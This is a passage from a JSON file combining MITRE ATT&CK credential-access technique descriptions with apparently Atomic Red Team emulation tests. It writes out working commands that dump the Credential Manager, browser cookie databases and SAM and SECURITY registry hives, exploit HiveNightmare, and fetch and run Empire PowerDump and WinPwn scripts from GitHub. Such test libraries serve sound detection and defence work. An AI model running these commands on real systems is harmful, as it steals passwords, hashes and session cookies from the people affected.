- "command": "C:\\Windows\\System32\\inetsrv\\appcmd.exe list apppool /config",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "Dump Credential Manager using keymgr.dll and rundll32.exe",
- "auto_generated_guid": "84113186-ed3c-4d0d-8a3c-8980c86c1f4a",
- "description": "This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.).\nReference: https://twitter.com/0gtweet/status/1415671356239216653",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "rundll32.exe keymgr,KRShowKeyMgr",
- "name": "powershell"
- }
- }
- ]
- },
- "T1171": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Eric Kuehn, Secure Ideas",
- "Matthew Demaske, Adaptforward"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
- "type": "attack-pattern",
- "created": "2018-01-16T16:13:52.465Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1171",
- "url": "https://attack.mitre.org/techniques/T1171"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution",
- "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.",
- "source_name": "Wikipedia LLMNR"
- },
- {
- "url": "https://technet.microsoft.com/library/cc958811.aspx",
- "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.",
- "source_name": "TechNet NetBIOS"
- },
- {
- "source_name": "byt3bl33d3r NTLM Relaying",
- "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html",
- "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."
- },
- {
- "source_name": "Secure Ideas SMB Relay",
- "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html",
- "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."
- },
- {
- "url": "https://github.com/nomex/nbnspoof",
- "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.",
- "source_name": "GitHub NBNSpoof"
- },
- {
- "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response",
- "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.",
- "source_name": "Rapid7 LLMNR Spoofer"
- },
- {
- "url": "https://github.com/SpiderLabs/Responder",
- "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.",
- "source_name": "GitHub Responder"
- },
- {
- "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning",
- "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.",
- "source_name": "Sternsecurity LLMNR-NBTNS"
- },
- {
- "url": "https://github.com/Kevin-Robertson/Conveigh",
- "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.",
- "source_name": "GitHub Conveigh"
- }
- ],
- "modified": "2020-02-11T19:09:48.452Z",
- "name": "LLMNR/NBT-NS Poisoning and Relay",
- "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient
for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)",
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1539": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Office 365",
- "SaaS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Microsoft Threat Intelligence Center (MSTIC)",
- "Johann Rehberger"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
- "type": "attack-pattern",
- "created": "2019-10-08T20:04:35.508Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1539",
- "url": "https://attack.mitre.org/techniques/T1539"
- },
- {
- "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
- "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
- "source_name": "Pass The Cookie"
- },
- {
- "source_name": "Kaspersky TajMahal April 2019",
- "url": "https://securelist.com/project-tajmahal/90240/",
- "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."
- },
- {
- "source_name": "Unit 42 Mac Crypto Cookies January 2019",
- "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
- "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
- },
- {
- "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.",
- "url": "https://github.com/kgretzky/evilginx2",
- "source_name": "Github evilginx2"
- },
- {
- "source_name": "GitHub Mauraena",
- "url": "https://github.com/muraenateam/muraena",
- "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019."
- }
- ],
- "modified": "2021-07-28T01:26:51.971Z",
- "name": "Steal Web Session Cookie",
- "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Access",
- "Process: Process Access"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1539"
- },
- "atomic_tests": [
- {
- "name": "Steal Firefox Cookies (Windows)",
- "auto_generated_guid": "4b437357-f4e9-4c84-9fa6-9bcee6f826aa",
- "description": "This test queries Firefox's cookies.sqlite database to steal the cookie data contained within it, similar to Zloader/Zbot's cookie theft function. \nNote: If Firefox is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "sqlite3_path": {
- "description": "Path to sqlite3",
- "type": "path",
- "default": "$env:temp\\sqlite-tools-win32-x86-3380200\\sqlite3.exe"
- },
- "output_file": {
- "description": "Filepath to output cookies",
- "type": "path",
- "default": "$env:temp\\T1539FirefoxCookies.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sqlite3 must exist at (#{sqlite3_path})\n",
- "prereq_command": "if (Test-Path #{sqlite3_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip\" -OutFile \"$env:temp\\sqlite.zip\"\nExpand-Archive -path \"$env:temp\\sqlite.zip\" -destinationpath \"$env:temp\\\" -force\n"
- }
- ],
- "executor": {
- "command": "stop-process -name \"firefox\" -force -erroraction silentlycontinue\n$CookieDBLocation = get-childitem -path \"$env:appdata\\Mozilla\\Firefox\\Profiles\\*\\cookies.sqlite\"\n\"select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];\" | cmd /c #{sqlite3_path} \"$CookieDBLocation\" | out-file -filepath \"#{output_file}\"\n",
- "cleanup_command": "remove-item #{output_file} -erroraction silentlycontinue\n",
- "name": "powershell",
- "elevation_required": false
- }
- },
- {
- "name": "Steal Chrome Cookies (Windows)",
- "auto_generated_guid": "26a6b840-4943-4965-8df5-ef1f9a282440",
- "description": "This test queries Chrome's SQLite database to steal the encrypted cookie data, designed to function similarly to Zloader/Zbot's cookie theft function. \nOnce an adversary obtains the encrypted cookie info, they could go on to decrypt the encrypted value, potentially allowing for session theft. \nNote: If Chrome is running, the process will be killed to ensure that the DB file isn't locked. \nSee https://www.malwarebytes.com/resources/files/2020/05/the-silent-night-zloader-zbot_final.pdf. \n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "cookie_db": {
- "description": "Filepath for Chrome cookies database",
- "type": "string",
- "default": "$env:localappdata\\Google\\Chrome\\User Data\\Default\\Network\\Cookies"
- },
- "sqlite3_path": {
- "description": "Path to sqlite3",
- "type": "path",
- "default": "$env:temp\\sqlite-tools-win32-x86-3380200\\sqlite3.exe"
- },
- "output_file": {
- "description": "Filepath to output cookies",
- "type": "path",
- "default": "$env:temp\\T1539ChromeCookies.txt"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Sqlite3 must exist at (#{sqlite3_path})\n",
- "prereq_command": "if (Test-Path #{sqlite3_path}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://www.sqlite.org/2022/sqlite-tools-win32-x86-3380200.zip\" -OutFile \"$env:temp\\sqlite.zip\"\nExpand-Archive -path \"$env:temp\\sqlite.zip\" -destinationpath \"$env:temp\\\" -force\n"
- }
- ],
- "executor": {
- "command": "stop-process -name \"chrome\" -force -erroraction silentlycontinue\n\"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];\" | cmd /c #{sqlite3_path} \"#{cookie_db}\" | out-file -filepath \"#{output_file}\"\n",
- "cleanup_command": "remove-item #{output_file}\n",
- "name": "powershell",
- "elevation_required": false
- }
- }
- ]
- },
- "T1003.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ed Williams, Trustwave, SpiderLabs"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011",
- "type": "attack-pattern",
- "created": "2020-02-11T18:42:07.281Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1003.002",
- "url": "https://attack.mitre.org/techniques/T1003/002"
- },
- {
- "url": "https://github.com/Neohapsis/creddump7",
- "description": "Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018.",
- "source_name": "GitHub Creddump7"
- }
- ],
- "modified": "2020-03-25T15:17:30.640Z",
- "name": "OS Credential Dumping: Security Account Manager",
- "description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user
command. Enumerating the SAM database requires SYSTEM level access.\n\nA number of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* pwdumpx.exe\n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry with Reg:\n\n* reg save HKLM\\sam sam
\n* reg save HKLM\\system system
\n\nCreddump7 can then be used to process the SAM database locally to retrieve hashes.(Citation: GitHub Creddump7)\n\nNotes: \n* RID 500 account is the local, built-in administrator.\n* RID 501 is the guest account.\n* User accounts start with a RID of 1,000+.\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Hash dumpers open the Security Accounts Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM
) or create a dump of the Registry SAM key to access stored account password hashes. Some hash dumpers will open the local file system as a device and parse to the SAM table to avoid file access defenses. Others will make an in-memory copy of the SAM table before reading hashes. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Access",
- "Command: Command Execution",
- "File: File Access"
- ],
- "x_mitre_permissions_required": [
- "SYSTEM"
- ],
- "identifier": "T1003.002"
- },
- "atomic_tests": [
- {
- "name": "Registry dump of SAM, creds, and secrets",
- "auto_generated_guid": "5c2571d0-1572-416d-9676-812e64ca9f44",
- "description": "Local SAM (SAM & System), cached credentials (System & Security) and LSA secrets (System & Security) can be enumerated\nvia three registry keys. Then processed locally using https://github.com/Neohapsis/creddump7\n\nUpon successful execution of this test, you will find three files named, sam, system and security in the %temp% directory.\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg save HKLM\\sam %temp%\\sam\nreg save HKLM\\system %temp%\\system\nreg save HKLM\\security %temp%\\security\n",
- "cleanup_command": "del %temp%\\sam >nul 2> nul\ndel %temp%\\system >nul 2> nul\ndel %temp%\\security >nul 2> nul\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "Registry parse with pypykatz",
- "auto_generated_guid": "a96872b2-cbf3-46cf-8eb4-27e8c0e85263",
- "description": "Parses registry hives to obtain stored credentials\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "command_prompt",
- "dependencies": [
- {
- "description": "Computer must have python 3 installed\n",
- "prereq_command": "py -3 --version >nul 2>&1\nexit /b %errorlevel%\n",
- "get_prereq_command": "echo \"Python 3 must be installed manually\"\n"
- },
- {
- "description": "Computer must have pip installed\n",
- "prereq_command": "py -3 -m pip --version >nul 2>&1\nexit /b %errorlevel%\n",
- "get_prereq_command": "echo \"PIP must be installed manually\"\n"
- },
- {
- "description": "pypykatz must be installed and part of PATH\n",
- "prereq_command": "pypykatz -h >nul 2>&1\nexit /b %errorlevel%\n",
- "get_prereq_command": "pip install pypykatz\n"
- }
- ],
- "executor": {
- "command": "pypykatz live registry\n",
- "name": "command_prompt",
- "elevation_required": true
- }
- },
- {
- "name": "esentutl.exe SAM copy",
- "auto_generated_guid": "a90c2f4d-6726-444e-99d2-a00cd7c20480",
- "description": "Copy the SAM hive using the esentutl.exe utility\nThis can also be used to copy other files and hives like SYSTEM, NTUSER.dat etc.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "file_path": {
- "description": "Path to the file to copy",
- "type": "path",
- "default": "%SystemRoot%/system32/config/SAM"
- },
- "file_name": {
- "description": "Name of the copied file",
- "type": "string",
- "default": "SAM"
- },
- "copy_dest": {
- "description": "Destination of the copied file",
- "type": "string",
- "default": "%temp%"
- }
- },
- "executor": {
- "command": "esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name}\n",
- "name": "command_prompt",
- "elevation_required": true,
- "cleanup_command": "del #{copy_dest}\\#{file_name} >nul 2>&1\n"
- }
- },
- {
- "name": "PowerDump Hashes and Usernames from Registry",
- "auto_generated_guid": "804f28fc-68fc-40da-b5a2-e9d0bce5c193",
- "description": "Executes a hashdump by reading the hashes from the registry.",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "PowerDump script must exist on disk at specified location",
- "prereq_command": "if (Test-Path \"$Env:Temp\\PowerDump.ps1\") {exit 0} else {exit 1} ",
- "get_prereq_command": "Invoke-Webrequest -Uri \"https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1\" -UseBasicParsing -OutFile \"$Env:Temp\\PowerDump.ps1\""
- }
- ],
- "executor": {
- "command": "Write-Host \"STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\" -fore green\nImport-Module \"$Env:Temp\\PowerDump.ps1\"\nInvoke-PowerDump",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "dump volume shadow copy hives with certutil",
- "auto_generated_guid": "eeb9751a-d598-42d3-b11c-c122d9c3f6c7",
- "description": "Dump hives from volume shadow copies with the certutil utility, exploiting a vulnerability known as \"HiveNightmare\" or \"SeriousSAM\".\nThis can be done with a non-admin user account. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_hive": {
- "description": "Hive you wish to dump",
- "type": "string",
- "default": "SAM"
- },
- "limit": {
- "description": "Limit to the number of shadow copies to iterate through when trying to copy the hive",
- "type": "integer",
- "default": 10
- }
- },
- "executor": {
- "command": "for /L %a in (1,1,#{limit}) do @(certutil -f -v -encodehex \"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy%a\\Windows\\System32\\config\\#{target_hive}\" %temp%\\#{target_hive}vss%a 2 >nul 2>&1) && dir /B %temp%\\#{target_hive}vss%a\n",
- "name": "command_prompt",
- "elevation_required": false,
- "cleanup_command": "for /L %a in (1,1,#{limit}) do @(del %temp%\\#{target_hive}vss%a >nul 2>&1)\n"
- }
- },
- {
- "name": "dump volume shadow copy hives with System.IO.File",
- "auto_generated_guid": "9d77fed7-05f8-476e-a81b-8ff0472c64d0",
- "description": "Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "target_hive": {
- "description": "Hive you wish to dump",
- "type": "string",
- "default": "SAM"
- },
- "limit": {
- "description": "Limit to the number of shadow copies to iterate through when trying to copy the hive",
- "type": "integer",
- "default": 10
- }
- },
- "executor": {
- "command": "1..#{limit} | % { \n try { [System.IO.File]::Copy(\"\\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy$_\\Windows\\System32\\config\\#{target_hive}\" , \"$env:TEMP\\#{target_hive}vss$_\", \"true\") } catch {}\n ls \"$env:TEMP\\#{target_hive}vss$_\" -ErrorAction Ignore\n}\n",
- "name": "powershell",
- "elevation_required": false,
- "cleanup_command": "1..#{limit} | % {\n rm \"$env:TEMP\\#{target_hive}vss$_\" -ErrorAction Ignore\n}\n"
- }
- },
- {
- "name": "WinPwn - Loot local Credentials - Dump SAM-File for NTLM Hashes",
- "auto_generated_guid": "0c0f5f06-166a-4f4d-bb4a-719df9a01dbb",
- "description": "Loot local Credentials - Dump SAM-File for NTLM Hashes technique via function of WinPwn",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'\niex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')\nsamfile -consoleoutput -noninteractive ",
- "name": "powershell"
- }
- }
- ]
- },
- "T1552.005": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3",
- "type": "attack-pattern",
- "created": "2020-02-11T18:47:46.619Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1552.005",
- "url": "https://attack.mitre.org/techniques/T1552/005"
- },
- {
- "source_name": "AWS Instance Metadata API",
- "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html",
- "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019."
- },
- {
- "source_name": "Krebs Capital One August 2019",
- "url": "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/",
- "description": "Krebs, B.. (2019, August 19). What We Can Learn from the Capital One Hack. Retrieved March 25, 2020."
- },
- {
- "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
- "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse",
- "source_name": "RedLock Instance Metadata API 2018"
- }
- ],
- "modified": "2022-03-08T21:37:23.589Z",
- "name": "Unsecured Credentials: Cloud Instance Metadata API",
- "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254
.\n",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor access to the Instance Metadata API and look for anomalous queries.\n\nIt may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Authentication"
- ],
- "identifier": "T1552.005"
- },
- "atomic_tests": []
- },
- "T1555.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1a80d097-54df-41d8-9d33-34e755ec5e72",
- "type": "attack-pattern",
- "created": "2020-02-12T18:56:31.051Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1555.002",
- "url": "https://attack.mitre.org/techniques/T1555/002"
- },
- {
- "url": "http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain",
- "description": "Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.",
- "source_name": "OS X Keychain"
- },
- {
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
- "source_name": "OSX Keydnap malware"
- },
- {
- "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way",
- "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.",
- "source_name": "External to DA, the OS X Way"
- }
- ],
- "modified": "2022-03-08T21:43:20.609Z",
- "name": "Securityd Memory",
- "description": "An adversary may obtain root access (allowing them to read securityd\u2019s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user\u2019s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc.(Citation: OS X Keychain)(Citation: OSX Keydnap malware)\n\nIn OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple\u2019s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords.(Citation: OS X Keychain)(Citation: External to DA, the OS X Way) Apple\u2019s securityd utility takes the user\u2019s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user\u2019s password, but once the master key is found, an adversary need only iterate over the other values to unlock the final password.(Citation: OS X Keychain)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- }
- ],
- "x_mitre_detection": "Monitor processes and command-line arguments for activity surrounded users searching for credentials or using automated tools to scan memory for passwords.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Process: Process Access"
- ],
- "x_mitre_permissions_required": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1522": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Praetorian"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f",
- "type": "attack-pattern",
- "created": "2019-09-04T14:41:32.317Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1522",
- "url": "https://attack.mitre.org/techniques/T1522"
- },
- {
- "source_name": "AWS Instance Metadata API",
- "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html",
- "description": "AWS. (n.d.). Instance Metadata and User Data. Retrieved July 18, 2019."
- },
- {
- "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.",
- "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse",
- "source_name": "RedLock Instance Metadata API 2018"
- }
- ],
- "modified": "2021-03-08T10:33:01.542Z",
- "name": "Cloud Instance Metadata API",
